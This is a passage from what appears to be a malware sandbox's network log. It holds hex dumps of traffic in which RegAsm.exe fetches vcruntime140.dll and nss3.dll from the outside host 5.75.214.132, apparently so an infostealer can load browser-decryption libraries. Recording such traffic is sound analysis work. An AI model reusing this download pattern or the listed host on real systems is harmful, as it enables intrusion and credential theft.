1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
2024-09-11 14:23:16 UTC	16384	IN	Data Raw: 85 c0 0f 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!
2024-09-11 14:23:16 UTC	16384	IN	Data Raw: 5e 5f 5b 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 Data Ascii: ^_[]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=P
2024-09-11 14:23:16 UTC	16384	IN	Data Raw: 74 77 8b 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 Data Ascii: twu ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-09-11 14:23:16 UTC	16384	IN	Data Raw: 8b 37 ff 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 Data Ascii: 7uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
2024-09-11 14:23:16 UTC	16384	IN	Data Raw: 00 40 00 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff Data Ascii: @]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4
2024-09-11 14:23:16 UTC	16384	IN	Data Raw: eb e4 89 c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	63421	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:17 UTC	248	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:17 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:17 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Wednesday, 11-Sep-2024 14:23:17 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-11 14:23:17 UTC	16122	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-09-11 14:23:17 UTC	16384	IN	Data Raw: 02 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 Data Ascii: +t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F
2024-09-11 14:23:17 UTC	16384	IN	Data Raw: 00 75 08 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 Data Ascii: uEEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMG
2024-09-11 14:23:17 UTC	16384	IN	Data Raw: 8b d0 81 c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d Data Ascii: ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv
2024-09-11 14:23:17 UTC	15606	IN	Data Raw: 4e 54 cf 8f f8 b4 e9 00 40 03 d5 1c 16 4c d1 c1 d6 ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 Data Ascii: NT@L\|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	63423	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:18 UTC	240	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:18 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:18 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Wednesday, 11-Sep-2024 14:23:18 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-11 14:23:18 UTC	16120	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-09-11 14:23:18 UTC	16384	IN	Data Raw: ee 1f 01 f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MA
2024-09-11 14:23:18 UTC	16384	IN	Data Raw: 68 52 f4 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b Data Ascii: hRQ=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$
2024-09-11 14:23:18 UTC	16384	IN	Data Raw: 77 40 a1 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e Data Ascii: w@@;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-09-11 14:23:18 UTC	16384	IN	Data Raw: ff ff 8b 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
2024-09-11 14:23:18 UTC	16384	IN	Data Raw: 24 18 89 d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 Data Ascii: $%D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-09-11 14:23:18 UTC	16384	IN	Data Raw: 46 64 8b 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 Data Ascii: Fd8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$
2024-09-11 14:23:19 UTC	16384	IN	Data Raw: e9 e7 00 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-M
2024-09-11 14:23:19 UTC	16384	IN	Data Raw: 89 59 18 e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 Data Ascii: 